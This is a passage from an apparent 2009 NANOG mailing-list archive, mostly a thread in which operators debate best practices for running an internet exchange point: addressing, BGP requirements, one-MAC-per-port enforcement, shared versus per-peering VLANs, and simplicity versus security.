been. If it's your exchange, you can do anything you want. I one saw a network which used 127.0.0.0/8 for connectivity. But I'd strongly suggest insisting from day 1: - public IP addresses for ipv4 and ipv6 - requirement for all members to use BGP, their own ASN and their own address space - no customer IGPs - dropping customer bpdus on sight - ruthless and utterly fascist enforcement of one mac address per port, using either L2 ACLs or else mac address counting, with no exceptions for any reason, ever. This is probably the single more important stability / security enforcement mechanism for any IXP. You should also take a look at the technical requirements on some of the larger european IXP web sites (linx / ams-ix / decix / etc), to see what they allow and don't allow. It goes without saying that you're not going to be able to do this on your average low-end switch. Nick From jbates at brightok.net Sat Apr 18 12:44:37 2009 From: jbates at brightok.net (Jack Bates) Date: Sat, 18 Apr 2009 12:44:37 -0500 Subject: IXP In-Reply-To: <1446.1240070501@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> Message-ID: <49EA1185.1010401@brightok.net> Paul Vixie wrote: > in terms of solid and predictable i would take per-peering VLANs with IP > addresses assigned by the peers themselves, over switches that do unicast > flood control or which are configured to ignore bpdu's in imaginative ways. > Simplicity only applies when it doesn't hinder security (the baseline complexity). PE/BRAS systems suffer from a subset of IXP issues with a few of their own. It amazes me how much "security" has been pushed from the PE out into switches and dslams. Enough so, that I've found many vendors that break IPv6 because of their "security" features. 1Q tagging is about the simplest model I have seen for providing the necessary isolation, mimicking PNI. For PE, it has allowed complete L3 ignorance in the L2 devices while enforcing security policies at the aggregation points. For an IXP it provides the necessary isolation and security without having an expectation of the type of L3 traffic crossing through the IXP. It's true that 1Q tagging requires a configuration component, but I'd hesitate to call it complex. 10,000 line router configs may be long, but often in repetition due to configuration limitations rather than complex. HE's IPv6 tunnel servers are moderately more complex and have handled provisioning well in my experience. Multicast was brought up as an issue, but it's not less efficient than if PNI had been used, and a structure could be designed to meet the needs of multicast when needed. Jack From learn.chandra at gmail.com Sat Apr 18 12:50:52 2009 From: learn.chandra at gmail.com (chandrashakher pawar) Date: Sat, 18 Apr 2009 18:50:52 +0100 Subject: downloading speed In-Reply-To: References: Message-ID: Dear Members, Thanks for your help and valuable information. ============================ Finally the issue resolved after card reset. Case has been book with Cisco. I will update you with the outcome of Cisco once they update us... Thanks Chandrashakher pawar On Sat, Apr 18, 2009 at 1:08 AM, b nickell wrote: > Duplex Mismatch looks to be the problem. > > On Fri, Apr 17, 2009 at 3:23 PM, chandrashakher pawar < > learn.chandra at gmail.com> wrote: > >> Dear Group member, >> >> We are level one ISP. one of my customer is connected to fast ethernet. >> His link speed 100,000 kbps. while downloading any thing from net he >> downloading speed donot go above 200 kbps. >> While doing multiple download he get aroung 200 kbps in every window. But >> when he close all the windows no change in downloading speed is observed. >> >> our router is C12KPRP-K4P-M >> >> Please advise what could be the cause? >> >> -- >> Regards >> >> Chandrashakher Pawar >> IPNOC >> Customer & Services Operations >> Tata communication AS6453 >> mobil + 91 9225633948 + 91 9324509268 >> learn.chandra at gmail.com >> > > > > -- > -B > From stuart at tech.org Sat Apr 18 13:05:03 2009 From: stuart at tech.org (Stephen Stuart) Date: Sat, 18 Apr 2009 18:05:03 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 16:58:24 GMT." <20090418165824.GA4483@vacation.karoshi.com.> Message-ID: <200904181805.n3II53wG068026@nb.tech.org> > I'll get off my soap-box now and let you resume your observations that > complexity as a goal in and of itself is the olny path forward. What > a dismal world-view. No-one is arguing that complexity is a goal. Opportunities to introduce gratuitous complexity abound, and defending against them while recognizing that the opportunity that represents genuine progress (trading outhouses for indoor plumbing, for example) is quite a challenge. I'm all for using the cleanest, simplest, and most reliable means to meet requirements. Not all IXPs have the same requirements driving their business, though - an IXP that operates a distributed metro-area fabric has additional concerns for reliability and cost-efficient use of resources than an IXP that operates a single switch. If requirements were such that I needed to buy and *use* a partial mesh topology for a distributed IXP fabric in the most reliable fashion possible, I'd much rather go the route described earlier than try to cobble something together with PVST/MST L2 technologies, but that's just me. You can assert that the status quo gives you solid predictable performance, but the reality is that you occasionally get sucked into a vortex of operational issues arising from L2's failure modes. To continue with my bad plumbing analogy, open sewers were a reliable means of moving waste material, easy to see when they were failing, but occasionally produced outbreaks of disease. Are open sewers still in use in the world today? You bet. The underlying hardware layer that IXPs use is capable of more than IXPs use. Whether to turn on those features is driven by requirements, from customers and from the economics of the business. I would argue, though, that at today's level of robustness and penetration of the technologies that we've been discussing, the customer "requirement" to peer on a shared VLAN is much more about complacency than avoiding risk (as you seem to be arguing). When we were turning PAIX from a private interconnect location into a public IXP, we questioned every assumption about what role IXPs played in order to ensure that we weren't making decisions simply to preserve the status quo. One of the things we questioned was whether to offer a peering fabric at all, or simply rely on PNIs. Obviously we opted to have a peering fabric, and I don't regret the decision despite the many long nights dealing with migration from FDDI to Ethernet (and the fun of translational bridge MTU-related issues during the migration), and the failure modes of Ethernet L2 - so your assertion that Ethernet L2 provides solid predictable performance needs to be modified with "mostly". I'll counter with an assertion that some L2.5/L3 networks are built and operated to more 9s than some IXP L2 networks that span multiple chassis. Whether that additional reliability makes business sense to offer, though, is a different question. If lack of complexity was a *requirement* that trumped all others, there would still be a DELNI at PAIX. From woody at pch.net Sat Apr 18 13:12:45 2009 From: woody at pch.net (Bill Woodcock) Date: Sat, 18 Apr 2009 18:12:45 +0000 Subject: IXP In-Reply-To: <200904181805.n3II53wG068026@nb.tech.org> References: <20090418165824.GA4483@vacation.karoshi.com.><200904181805.n3II53wG068026@nb.tech.org> Message-ID: <40948110-1240078448-cardhu_decombobulator_blackberry.rim.net-766315601-@bxe1202.bisx.prod.on.blackberry> Stephen, that's a straw-man argument. Nobody's arguing against VLANs. Paul's argument was that VLANs rendered shared subnets obsolete, and everybody else has been rebutting that. Not saying that VLANs shouldn't be used. Sent via BlackBerry by AT&T -----Original Message----- From: Stephen Stuart Date: Sat, 18 Apr 2009 18:05:03 To: Cc: nanog at merit.edu nanog at merit.edu Subject: Re: IXP > I'll get off my soap-box now and let you resume your observations that > complexity as a goal in and of itself is the olny path forward. What > a dismal world-view. No-one is arguing that complexity is a goal. Opportunities to introduce gratuitous complexity abound, and defending against them while recognizing that the opportunity that represents genuine progress (trading outhouses for indoor plumbing, for example) is quite a challenge. I'm all for using the cleanest, simplest, and most reliable means to meet requirements. Not all IXPs have the same requirements driving their business, though - an IXP that operates a distributed metro-area fabric has additional concerns for reliability and cost-efficient use of resources than an IXP that operates a single switch. If requirements were such that I needed to buy and *use* a partial mesh topology for a distributed IXP fabric in the most reliable fashion possible, I'd much rather go the route described earlier than try to cobble something together with PVST/MST L2 technologies, but that's just me. You can assert that the status quo gives you solid predictable performance, but the reality is that you occasionally get sucked into a vortex of operational issues arising from L2's failure modes. To continue with my bad plumbing analogy, open sewers were a reliable means of moving waste material, easy to see when they were failing, but occasionally produced outbreaks of disease. Are open sewers still in use in the world today? You bet. The underlying hardware layer that IXPs use is capable of more than IXPs use. Whether to turn on those features is driven by requirements, from customers and from the economics of the business. I would argue, though, that at today's level of robustness and penetration of the technologies that we've been discussing, the customer "requirement" to peer on a shared VLAN is much more about complacency than avoiding risk (as you seem to be arguing). When we were turning PAIX from a private interconnect location into a public IXP, we questioned every assumption about what role IXPs played in order to ensure that we weren't making decisions simply to preserve the status quo. One of the things we questioned was whether to offer a peering fabric at all, or simply rely on PNIs. Obviously we opted to have a peering fabric, and I don't regret the decision despite the many long nights dealing with migration from FDDI to Ethernet (and the fun of translational bridge MTU-related issues during the migration), and the failure modes of Ethernet L2 - so your assertion that Ethernet L2 provides solid predictable performance needs to be modified with "mostly". I'll counter with an assertion that some L2.5/L3 networks are built and operated to more 9s than some IXP L2 networks that span multiple chassis. Whether that additional reliability makes business sense to offer, though, is a different question. If lack of complexity was a *requirement* that trumped all others, there would still be a DELNI at PAIX. From me at sharloncarty.net Sat Apr 18 14:51:54 2009 From: me at sharloncarty.net (Sharlon R. Carty) Date: Sat, 18 Apr 2009 15:51:54 -0400 Subject: IXP In-Reply-To: <49EA0DB2.20804@foobar.org> References: <49EA0DB2.20804@foobar.org> Message-ID: I have been looking at ams-ix and linx, even some african internet exchanges as examples. But seeing how large they are(ams-x & linx) and we are in the startup phase, I would rather have some tips/examples from anyone who has been doing IXP for quite awhile. So far all the responses have been very helpful. On Apr 18, 2009, at 1:28 PM, Nick Hilliard wrote: > On 17/04/2009 15:11, Sharlon R. Carty wrote: >> I like would to know what are best practices for an internet >> exchange. I >> have some concerns about the following; >> Can the IXP members use RFC 1918 ip addresses for their peering? >> Can the IXP members use private autonomous numbers for their peering? >> >> Maybe the answer is obviuos, but I like to know from any IXP admins >> what >> their setup/experiences have been. > > If it's your exchange, you can do anything you want. I one saw a > network which used 127.0.0.0/8 for connectivity. But I'd strongly > suggest insisting from day 1: > > - public IP addresses for ipv4 and ipv6 > - requirement for all members to use BGP, their own ASN and their > own address space > - no customer IGPs > - dropping customer bpdus on sight > - ruthless and utterly fascist enforcement of one mac address per > port, using either L2 ACLs or else mac address counting, with no > exceptions for any reason, ever. This is probably the single more > important stability / security enforcement mechanism for any IXP. > > You should also take a look at the technical requirements on some of > the larger european IXP web sites (linx / ams-ix / decix / etc), to > see what they allow and don't allow. > > It goes without saying that you're not going to be able to do this > on your average low-end switch. > > Nick > > > From arnold at nipper.de Sat Apr 18 15:01:05 2009 From: arnold at nipper.de (Arnold Nipper) Date: Sat, 18 Apr 2009 22:01:05 +0200 Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> Message-ID: <49EA3181.6010104@nipper.de> On 18.04.2009 21:51 Sharlon R. Carty wrote > I have been looking at ams-ix and linx, even some african internet > exchanges as examples. But seeing how large they are(ams-x & linx) and > we are in the startup phase, I would rather have some tips/examples > from anyone who has been doing IXP for quite awhile. > So far all the responses have been very helpful. > Do what Nick suggested and you will run a real safe IXP. Nick knows how to do that. Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From vixie at isc.org Sat Apr 18 16:12:24 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 21:12:24 +0000 Subject: IXP In-Reply-To: Your message of "Sat, 18 Apr 2009 13:17:11 -0400." <20090418131711.4ebce8af@cs.columbia.edu> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> Message-ID: <14911.1240089144@nsa.vix.com> > Date: Sat, 18 Apr 2009 13:17:11 -0400 > From: "Steven M. Bellovin" > > On Sat, 18 Apr 2009 16:58:24 +0000 > bmanning at vacation.karoshi.com wrote: > > > i make the claim that simple, clean design and execution is > > best. even the security goofs will agree. > > "Even"? *Especially* -- or they're not competent at doing security. wouldn't a security person also know about http://en.wikipedia.org/wiki/ARP_spoofing and know that many colo facilities now use one customer per vlan due to this concern? (i remember florian weimer being surprised that we didn't have such a policy on the ISC guest network.) if we maximize for simplicity we get a DELNI. oops that's not fast enough we need a switch not a hub and it has to go 10Gbit/sec/port. looks like we traded away some simplicity in order to reach our goals. From bmanning at vacation.karoshi.com Sat Apr 18 17:41:12 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Sat, 18 Apr 2009 22:41:12 +0000 Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <20090418224112.GB7260@vacation.karoshi.com.> On Sat, Apr 18, 2009 at 09:12:24PM +0000, Paul Vixie wrote: > > Date: Sat, 18 Apr 2009 13:17:11 -0400 > > From: "Steven M. Bellovin" > > > > On Sat, 18 Apr 2009 16:58:24 +0000 > > bmanning at vacation.karoshi.com wrote: > > > > > i make the claim that simple, clean design and execution is > > > best. even the security goofs will agree. > > > > "Even"? *Especially* -- or they're not competent at doing security. > > wouldn't a security person also know about > > http://en.wikipedia.org/wiki/ARP_spoofing > > and know that many colo facilities now use one customer per vlan due > to this concern? (i remember florian weimer being surprised that we > didn't have such a policy on the ISC guest network.) > > if we maximize for simplicity we get a DELNI. oops that's not fast > enough we need a switch not a hub and it has to go 10Gbit/sec/port. > looks like we traded away some simplicity in order to reach our goals. er... 10G is old hat... try 100G. i'm not arguing for a return to smoke signals. i'm arguing that simplicity is often time gratuitously abandoned in favor of the near-term, quick buck. if i may paraphrase Albert, "Things should be as simple as possible, but no simpler" and ARP... well there's a dirt simple hack that the ethernet-based folks have never been able to shake. :) --bill From jbates at brightok.net Sat Apr 18 17:53:04 2009 From: jbates at brightok.net (Jack Bates) Date: Sat, 18 Apr 2009 17:53:04 -0500 Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <49EA59D0.4010003@brightok.net> Paul Vixie wrote: > if we maximize for simplicity we get a DELNI. oops that's not fast > enough we need a switch not a hub and it has to go 10Gbit/sec/port. > looks like we traded away some simplicity in order to reach our goals. Agreed. Security + Efficiency = base complexity 1Q has great benefits in security while maintaining a reasonable base complexity compared to "1 mac per port/MAC acl + broadcast storm control + ". Things grow more complex as you reach up into MPLS. I'll show my ignorance and ask if it's possible to handle multicast on a separate shared tag and maintain security and simplicity while handling unicast on p2p tags? Standard methods of multicast on the Internet are foreign to me, and tend to act differently than multicast feeds standardly used for video over IP in local segments (from what little I have read). Primarily, I believe there was a reliance of unicast routing by multicast, which separate L2 paths might break. Jack From stuart at tech.org Sat Apr 18 18:02:54 2009 From: stuart at tech.org (Stephen Stuart) Date: Sat, 18 Apr 2009 23:02:54 +0000 Subject: IXP Message-ID: <200904182302.n3IN2s38076089@nb.tech.org> > Stephen, that's a straw-man argument. Nobody's arguing against > VLANs. Paul's argument was that VLANs rendered shared subnets > obsolete, and everybody else has been rebutting that. Not saying that > VLANs shouldn't be used. I believe shared VLANs for IXP interconnect are obsolete. Whether they get retired in favor of modern technology is another question, a business question. About a year and a half ago, I built something much like the alternative being discussed as a community service project; pseudo-wire services for VNIs (participants can encrypt or not depending on their need), and a shared L3 cloud with private ASN numbering to provide inter-participant IP connectivity and some shared transit. The fabric survives fiber cuts without any disruption in connectivity (I didn't get to spec the fiber paths, so there are some places where the "ring" collapses into a single fiber bundle); everyone's HIPAA and FERPA concerns were met at the design phase; user-visible problems have been few, and problem diagnosis has been simple. There aren't a lot of participants, so I didn't do much in the way of self-service automation for provisioning, but I can see where it would be fairly straightforward and nicely scalable. If I were back in the IXP business, building a distributed metro-area fabric, that's how I'd do it, and I'd invest in automated, self-service provisioning. There would be no shared VLAN. I predict that the network would be more reliable, and could be operated more cost-efficiently as a result. From randy at psg.com Sat Apr 18 18:08:51 2009 From: randy at psg.com (Randy Bush) Date: Sun, 19 Apr 2009 08:08:51 +0900 Subject: IXP In-Reply-To: <49EA0DB2.20804@foobar.org> References: <49EA0DB2.20804@foobar.org> Message-ID: > - public IP addresses for ipv4 and ipv6 > - requirement for all members to use BGP, their own ASN and their own > address space just to not confuse, that is behind the peering port. the peering port uses the exchange's ipv4/6 space > - no customer IGPs > - dropping customer bpdus on sight > - ruthless and utterly fascist enforcement of one mac address per > port, using either L2 ACLs or else mac address counting, with no > exceptions for any reason, ever. This is probably the single more > important stability / security enforcement mechanism for any IXP. > > You should also take a look at the technical requirements on some of > the larger european IXP web sites (linx / ams-ix / decix / etc), to > see what they allow and don't allow. sharlon, reread nick's advice a few times, maybe pin it to your wall. > It goes without saying that you're not going to be able to do this on > your average low-end switch. just curious. has anyone tried arista for smallish exchanges, before jumping off the cliff into debugging extreme, foundry, ... randy From dlc at lampinc.com Sat Apr 18 18:17:30 2009 From: dlc at lampinc.com (Dale Carstensen) Date: Sat, 18 Apr 2009 17:17:30 -0600 Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <20090418231729.20A1F38D600@lampinc.com> Thanks for talking about your PNIs. Let's see: Permit Next Increase Private Network Interface Private Network Interconnection Primary Network Interface and it goes on and on . . . From arnold at nipper.de Sat Apr 18 18:22:11 2009 From: arnold at nipper.de (Arnold Nipper) Date: Sun, 19 Apr 2009 01:22:11 +0200 Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> Message-ID: <49EA60A3.4070104@nipper.de> On 19.04.2009 01:08 Randy Bush wrote > just curious. has anyone tried arista for smallish exchanges, before > jumping off the cliff into debugging extreme, foundry, ... > last time I look at them their products lacked port security or anything similiar. Iirc it's on the roadmap for thier next generation of switches. Arnold -- Arnold Nipper / nIPper consulting, Sandhausen, Germany email: arnold at nipper.de phone: +49 6224 9259 299 mobile: +49 172 2650958 fax: +49 6224 9259 333 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 250 bytes Desc: OpenPGP digital signature URL: From randy at psg.com Sat Apr 18 18:38:03 2009 From: randy at psg.com (Randy Bush) Date: Sun, 19 Apr 2009 08:38:03 +0900 Subject: IXP In-Reply-To: <49EA60A3.4070104@nipper.de> References: <49EA0DB2.20804@foobar.org> <49EA60A3.4070104@nipper.de> Message-ID: >> just curious. has anyone tried arista for smallish exchanges, before >> jumping off the cliff into debugging extreme, foundry, ... > last time I look at them their products lacked port security or > anything similiar. whoops! > Iirc it's on the roadmap for thier next generation of switches. bummer, as performance and per-port cost are certainly tasty. randy From smb at cs.columbia.edu Sat Apr 18 19:11:14 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Sat, 18 Apr 2009 20:11:14 -0400 Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <20090418201114.2c9cb6d8@cs.columbia.edu> On Sat, 18 Apr 2009 21:12:24 +0000 Paul Vixie wrote: > > Date: Sat, 18 Apr 2009 13:17:11 -0400 > > From: "Steven M. Bellovin" > > > > On Sat, 18 Apr 2009 16:58:24 +0000 > > bmanning at vacation.karoshi.com wrote: > > > > > i make the claim that simple, clean design and execution > > > is best. even the security goofs will agree. > > > > "Even"? *Especially* -- or they're not competent at doing security. > > wouldn't a security person also know about > > http://en.wikipedia.org/wiki/ARP_spoofing > I'm taking no position on the underlying argument; I'm simply stating that simplicity is an essential element for security. I like a philosophy I've seen attributed to Einstein: "everything should be as simple as possible, and no simpler". And yes, I know about ARP spoofing... --Steve Bellovin, http://www.cs.columbia.edu/~smb From fergdawgster at gmail.com Sat Apr 18 19:27:50 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Sat, 18 Apr 2009 17:27:50 -0700 Subject: IXP In-Reply-To: <20090418201114.2c9cb6d8@cs.columbia.edu> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> <20090418201114.2c9cb6d8@cs.columbia.edu> Message-ID: <6cd462c00904181727q3aa5fe4cv78cc51723751c1ab@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, Apr 18, 2009 at 5:11 PM, Steven M. Bellovin wrote: > I'm taking no position on the underlying argument; I'm simply stating > that simplicity is an essential element for security. I like a > philosophy I've seen attributed to Einstein: "everything should be as > simple as possible, and no simpler". > Agreed -- and that reminds of the Dr. Who Maxim: "The more sophisticated the technology, the more vulnerable it is to primitive attack. People often overlook the obvious." Also, Voltaire: "Common sense is not so common.? - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6m+lq1pz9mNUZTMRAoN8AKDTMNwoFDm+QGxfzNos0agHpetIHQCeOves q57FCgdaqbKKkrW5Ii/9P9Y= =Vc6Q -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From rdobbins at cisco.com Sat Apr 18 19:31:39 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Sun, 19 Apr 2009 08:31:39 +0800 Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <792B0BE6-410A-4835-95CD-C07F282E7E7A@cisco.com> On Apr 19, 2009, at 5:12 AM, Paul Vixie wrote: > many colo facilities now use one customer per vlan due to this > concern? Haven't most major vendors for years offered features in their switches which mitigate ARP-spoofing, provide per-port layer-2 isolation on a sub-VLAN basis, as well as implementing layer-3 anti- spoofing on a per-switchport basis (i.e., BCP38 on a per-switchport basis)? ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From young at jsyoung.net Sat Apr 18 19:45:48 2009 From: young at jsyoung.net (Jeff Young) Date: Sat, 18 Apr 2009 20:45:48 -0400 Subject: IXP In-Reply-To: <49E9F357.7070407@foobar.org> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> <49E9F357.7070407@foobar.org> Message-ID: <1F5C73A9-A5D5-4D44-BFC3-8A0E87B3797F@jsyoung.net> Best solution I ever saw to an 'unintended' third-party peering was devised by a pretty brilliant guy (who can pipe up if he's listening). When he discovered traffic loads coming from non-peers he'd drop in an ACL that blocked everything except ICMP - then tell the NOC to route the call to his desk with the third party finally gave up troubleshooting and called in... fun memories of the NAPs... jy On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > On 18/04/2009 01:08, Paul Vixie wrote: >> i've spent more than several late nights and long weekends dealing >> with >> the problems of shared multiaccess IXP networks. broadcast storms, >> poisoned ARP, pointing default, unintended third party BGP, >> unintended >> spanning tree, semitranslucent loops, unauthorized IXP LAN >> extension... >> all to watch the largest flows move off to PNI as soon as somebody's >> port was getting full. > From deepak at ai.net Sat Apr 18 21:29:51 2009 From: deepak at ai.net (Deepak Jain) Date: Sat, 18 Apr 2009 22:29:51 -0400 Subject: IXP Message-ID: Remember when you didn't want to put in ACLs because you'd blow out the cpu on the router/card? Ahhhhh... That made networking fun! Deepak ----- Original Message ----- From: Jeff Young To: Nick Hilliard Cc: Paul Vixie ; nanog at merit.edu Sent: Sat Apr 18 20:45:48 2009 Subject: Re: IXP Best solution I ever saw to an 'unintended' third-party peering was devised by a pretty brilliant guy (who can pipe up if he's listening). When he discovered traffic loads coming from non-peers he'd drop in an ACL that blocked everything except ICMP - then tell the NOC to route the call to his desk with the third party finally gave up troubleshooting and called in... fun memories of the NAPs... jy On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > On 18/04/2009 01:08, Paul Vixie wrote: >> i've spent more than several late nights and long weekends dealing >> with >> the problems of shared multiaccess IXP networks. broadcast storms, >> poisoned ARP, pointing default, unintended third party BGP, >> unintended >> spanning tree, semitranslucent loops, unauthorized IXP LAN >> extension... >> all to watch the largest flows move off to PNI as soon as somebody's >> port was getting full. > From swmike at swm.pp.se Sun Apr 19 02:31:19 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Sun, 19 Apr 2009 09:31:19 +0200 (CEST) Subject: IXP In-Reply-To: <49EA0DB2.20804@foobar.org> References: <49EA0DB2.20804@foobar.org> Message-ID: On Sat, 18 Apr 2009, Nick Hilliard wrote: > - ruthless and utterly fascist enforcement of one mac address per port, > using either L2 ACLs or else mac address counting, with no exceptions > for any reason, ever. This is probably the single more important > stability / security enforcement mechanism for any IXP. Well, as long as it simply drops packets and doesn't shut the port or some other "fascist" enforcement. We've had AMSIX complain that our Cisco 12k with E5 linecard was spitting out a few tens of packets per day during two months with random source mac addresses. Started suddenly, stopped suddenly. It's ok for them to drop the packets, but not shut the port in a case like that. -- Mikael Abrahamsson email: swmike at swm.pp.se From young at jsyoung.net Sun Apr 19 08:39:49 2009 From: young at jsyoung.net (Jeff Young) Date: Sun, 19 Apr 2009 09:39:49 -0400 Subject: IXP In-Reply-To: References: Message-ID: Yeah, You could count packets or you could forward them not both. ACLs could crash everything. Retrieving the config via SNMP would crash a router. I gotta get back into an ISP and get a new set of stories to tell. jy On Apr 18, 2009, at 10:29 PM, Deepak Jain wrote: > Remember when you didn't want to put in ACLs because you'd blow out > the cpu on the router/card? > > Ahhhhh... That made networking fun! > > Deepak > > ----- Original Message ----- > From: Jeff Young > To: Nick Hilliard > Cc: Paul Vixie ; nanog at merit.edu > Sent: Sat Apr 18 20:45:48 2009 > Subject: Re: IXP > > Best solution I ever saw to an 'unintended' third-party > peering was devised by a pretty brilliant guy (who can > pipe up if he's listening). When he discovered traffic > loads coming from non-peers he'd drop in an ACL that > blocked everything except ICMP - then tell the NOC to > route the call to his desk with the third party finally gave > up troubleshooting and called in... > > fun memories of the NAPs... > > jy > > > On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > >> On 18/04/2009 01:08, Paul Vixie wrote: >>> i've spent more than several late nights and long weekends dealing >>> with >>> the problems of shared multiaccess IXP networks. broadcast storms, >>> poisoned ARP, pointing default, unintended third party BGP, >>> unintended >>> spanning tree, semitranslucent loops, unauthorized IXP LAN >>> extension... >>> all to watch the largest flows move off to PNI as soon as somebody's >>> port was getting full. >> > From ccaputo at alt.net Sun Apr 19 12:43:18 2009 From: ccaputo at alt.net (Chris Caputo) Date: Sun, 19 Apr 2009 17:43:18 +0000 (UTC) Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> Message-ID: On Sun, 19 Apr 2009, Mikael Abrahamsson wrote: > On Sat, 18 Apr 2009, Nick Hilliard wrote: > > - ruthless and utterly fascist enforcement of one mac address per > > port, using either L2 ACLs or else mac address counting, with no > > exceptions for any reason, ever. This is probably the single more > > important stability / security enforcement mechanism for any IXP. > > Well, as long as it simply drops packets and doesn't shut the port or > some other "fascist" enforcement. We've had AMSIX complain that our > Cisco 12k with E5 linecard was spitting out a few tens of packets per > day during two months with random source mac addresses. Started > suddenly, stopped suddenly. It's ok for them to drop the packets, but > not shut the port in a case like that. >From the IX operator perspective it is important to immediately shut down a port showing a packet from an extra MAC address, rather than just silently dropping them. The "fascist" reason being that it is a quick and effective way of informing the participant that their recent maintenance has gone afoul. At the SIX we have err-disable recovery set to 5 minutes so that the port will come back up automatically. (sometimes only to be shutdown again two packets later, and usually before any BGP sessions have returned) If the port is left up with the rogue packets simply being dropped, and the exchange sends the participant a followup email informing them of the problem, the participant's maintenance window may have already have passed and so problem resolution tends to get extended. In cases that are temporarily unfixable, such as router bug, we have been known to change the port config such that the rogue packets are just dropped/logged rather than answered with a shutdown, but that is rare. Chris SIX Janitor From sean at donelan.com Sun Apr 19 13:00:32 2009 From: sean at donelan.com (Sean Donelan) Date: Sun, 19 Apr 2009 14:00:32 -0400 (EDT) Subject: IXP In-Reply-To: <14911.1240089144@nsa.vix.com> References: <200904180530.n3I5Ufd2047221@nb.tech.org> <20090418100900.GB2573@vacation.karoshi.com.> <1446.1240070501@nsa.vix.com> <20090418165824.GA4483@vacation.karoshi.com.> <20090418131711.4ebce8af@cs.columbia.edu> <14911.1240089144@nsa.vix.com> Message-ID: <200904191342180.32BF5B92.10912@clifden.donelan.com> On Sat, 18 Apr 2009, Paul Vixie wrote: >> "Even"? *Especially* -- or they're not competent at doing security. > > wouldn't a security person also know about > > http://en.wikipedia.org/wiki/ARP_spoofing > > and know that many colo facilities now use one customer per vlan due > to this concern? (i remember florian weimer being surprised that we > didn't have such a policy on the ISC guest network.) I tend to believe there is almost always more than one way to solve any problem, and if you can't think of more than one way you probably don't understand the problem fully. IXPs are a subset of the Colo problem, so there may be some issues for the colo case that IXPs can handle differently than general purpose colos. Why use "complex" DELNIs when you could just have passive coax and a real RF broadcast medium for your IXP. If all the IXP participants always did the right thing, you wouldn't need the IXP operator to do anything. The problem is sometimes an IXP participant does the wrong thing, and the other IXP participants want the IXP operator to do something about it which is probably why most IXP operators use stuff more complex than a passive coax. Other than Nick's list, are there any other things someone interested in checking IXP critical infrastructure might add to the checklist? From nick at foobar.org Sun Apr 19 13:32:12 2009 From: nick at foobar.org (Nick Hilliard) Date: Sun, 19 Apr 2009 19:32:12 +0100 Subject: IXP In-Reply-To: References: <49EA0DB2.20804@foobar.org> Message-ID: 